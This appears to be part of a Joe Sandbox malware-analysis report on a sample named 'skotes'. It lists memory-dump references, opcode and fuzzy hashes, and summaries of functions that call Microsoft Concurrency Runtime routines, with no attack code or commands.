Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 26487af5723382ba3f2e102c6802170c9dbd56e977f74b0e6ffe4b6d91e5ec85
Instruction ID: 2fe9776869cd3383c72f797dc18f752366f05c60b2e183b4bcf23e54d87daea9
Opcode Fuzzy Hash: 26487af5723382ba3f2e102c6802170c9dbd56e977f74b0e6ffe4b6d91e5ec85
Instruction Fuzzy Hash: 9DB16BB1A00615EFDB29DF68D990BBAB7B5FF48300F15816DE905AB651D730ED80CB90

Function 001B1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001B2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 001B2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 001B1614

Part of subcall function 001B2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 001B2E39
Part of subcall function 001B2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 001B2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 001B1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001B17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001B17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001B17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001B180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001B181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 001B1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 001B183B

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 26c383186eedbb9f97d5d72c50f20ae481f5b39a79b8b7f2ac35c54d2ad3cd66
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 78816B71E00225AFCB19DFA8C5A4ABDB7F1FF48304B5646ADE445AB701CB70AD52CB84

Function 001BEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001BEC81

Part of subcall function 001B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 001B8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001BECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 001BECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 001BED0C

Part of subcall function 001BE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 001BE7D7
Part of subcall function 001BE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 001BE86F
Part of subcall function 001BE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001BE879
Part of subcall function 001BE7AF: Concurrency::location::_Assign.LIBCMT ref: 001BE8AD
Part of subcall function 001BE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001BE8B5

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: a9bf83366f45e777aefb9b8eb7eb3eac5e0a0a353f84a5d2984f2146b7280526
Instruction ID: 21902d66474843dfa1de7409d0c2c385ed8add80a8af1b043b64e4feacedf3bd
Opcode Fuzzy Hash: a9bf83366f45e777aefb9b8eb7eb3eac5e0a0a353f84a5d2984f2146b7280526
Instruction Fuzzy Hash: DF518F31A00215DBCF28EF90C895FEDB7B5AF54310F1540A9E9067B396CBB1AE45CBA1

Function 001ACB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 001ACBAA

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: fcc99721bd6c286641d56bafe93195f8f03209b55ab130feefa94206f63e8cd0
Instruction ID: 9a21159e98a3f53e58f4a9ca0ca07455ec2e4aaf10fa937080ea6efeb706c8a0
Opcode Fuzzy Hash: fcc99721bd6c286641d56bafe93195f8f03209b55ab130feefa94206f63e8cd0
Instruction Fuzzy Hash: 0DB01232F1383047CB562B98BC885AD77559F85F6230B0156DA01EB634CB511DC29FE8

Function 001ADD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
